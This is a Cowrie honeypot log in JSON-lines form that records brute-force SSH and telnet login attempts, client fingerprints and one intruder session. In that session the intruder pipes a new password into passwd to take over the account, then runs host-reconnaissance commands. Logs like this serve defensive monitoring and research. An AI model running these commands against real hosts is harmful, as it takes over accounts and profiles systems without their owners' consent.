{"eventid":"cowrie.session.closed","duration":34.01931095123291,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:38.613825Z","src_ip":"209.159.146.115","session":"aabf4e28a07f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.64775991439819,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:38.975152Z","src_ip":"23.254.167.244","session":"73d8da977b79","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:39.044116Z","src_ip":"157.66.34.121","session":"5afffbee361a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52392,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e52b3a9588f","protocol":"telnet","message":"New connection: 209.159.146.115:52392 (159.203.135.109:23) [session: 7e52b3a9588f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:40.061532Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:40.277926Z","src_ip":"157.66.34.121","session":"5afffbee361a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":45262,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4098eeb22a0","protocol":"ssh","message":"New connection: 157.66.34.121:45262 (159.203.135.109:22) [session: c4098eeb22a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:40.526382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:40.530813Z","src_ip":"157.66.34.121","session":"c4098eeb22a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:40.773624Z","src_ip":"157.66.34.121","session":"c4098eeb22a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.366841554641724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:41.097648Z","src_ip":"23.254.167.244","session":"4e2659c56f86","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:41.777337Z","src_ip":"157.66.34.121","session":"c4098eeb22a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.89995718002319,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:41.991386Z","src_ip":"23.254.167.244","session":"7f925e9054d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38186,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2b357da3152","protocol":"telnet","message":"New connection: 209.159.146.115:38186 (159.203.135.109:23) [session: b2b357da3152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:43.018230Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:43.022922Z","src_ip":"157.66.34.121","session":"c4098eeb22a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:43.279672Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:43.282081Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:43.517919Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:44.069489Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminadmin\\nMI2XpTnGQyDi\\nMI2XpTnGQyDi\"|passwd|bash","message":"CMD: echo -e \"adminadmin\\nMI2XpTnGQyDi\\nMI2XpTnGQyDi\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:44.072824Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:44.076547Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:44.079547Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/d40c597bc9f02c76c8a68cf901c26160b0bf976708bde121bae2cd1ffc78eb1e","size":32,"shasum":"d40c597bc9f02c76c8a68cf901c26160b0bf976708bde121bae2cd1ffc78eb1e","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/d40c597bc9f02c76c8a68cf901c26160b0bf976708bde121bae2cd1ffc78eb1e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:44.317598Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:44.831836Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminadmin\\nMI2XpTnGQyDi\\nMI2XpTnGQyDi\\n\"|passwd","message":"CMD: echo \"adminadmin\\nMI2XpTnGQyDi\\nMI2XpTnGQyDi\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:44.835705Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/45e22b8cd002a4564136897cdbbffb899e6737c3c77766cc62bbeeb801603685","size":25,"shasum":"45e22b8cd002a4564136897cdbbffb899e6737c3c77766cc62bbeeb801603685","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/45e22b8cd002a4564136897cdbbffb899e6737c3c77766cc62bbeeb801603685 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:45.074756Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43772,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5ee62bc59f6","protocol":"telnet","message":"New connection: 209.159.146.115:43772 (159.203.135.109:23) [session: e5ee62bc59f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:45.188936Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:45.624497Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:45.627853Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:45.866442Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.187350273132324,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:46.018540Z","src_ip":"23.254.167.244","session":"f3ef166e2b9b","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:46.366211Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:46.369095Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:46.607009Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:47.104534Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:47.106776Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:47.109125Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.29006576538086,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:47.272754Z","src_ip":"23.254.167.244","session":"6ed5bffc0b24","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:47.345876Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":9896,"dst_ip":"10.17.0.5","dst_port":22,"session":"85db425369e9","protocol":"ssh","message":"New connection: 74.87.117.149:9896 (10.17.0.5:22) [session: 85db425369e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:47.732871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:47.736970Z","src_ip":"74.87.117.149","session":"85db425369e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:47.762875Z","src_ip":"74.87.117.149","session":"85db425369e9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:47.842829Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:47.845967Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu321","message":"login attempt [ubuntu/ubuntu321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:47.935634Z","src_ip":"74.87.117.149","session":"85db425369e9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:48.081415Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.807674646377563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:48.298965Z","src_ip":"23.254.167.244","session":"3136d72f9d50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.3988983631134,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:48.535527Z","src_ip":"23.254.167.244","session":"1fa9a66e4988","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:48.591392Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:48.594122Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.35266900062561,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:48.805545Z","src_ip":"23.254.167.244","session":"7d38eff341d1","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:48.830476Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:48.963560Z","src_ip":"74.87.117.149","session":"85db425369e9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:49.340854Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:49.344001Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:49.579537Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:50.112481Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:50.115694Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.13690400123596,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:50.123135Z","src_ip":"209.159.146.115","session":"cc21f8258873","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:50.353624Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57710,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e5968c54674","protocol":"telnet","message":"New connection: 23.254.167.244:57710 (159.203.135.109:23) [session: 8e5968c54674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:50.475624Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:50.862802Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:50.866148Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.85156583786011,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:51.045029Z","src_ip":"23.254.167.244","session":"0028d63e3c0a","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:51.103223Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:51.603585Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:51.606544Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.47007346153259,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:51.611176Z","src_ip":"23.254.167.244","session":"e974407a6623","protocol":"telnet"}
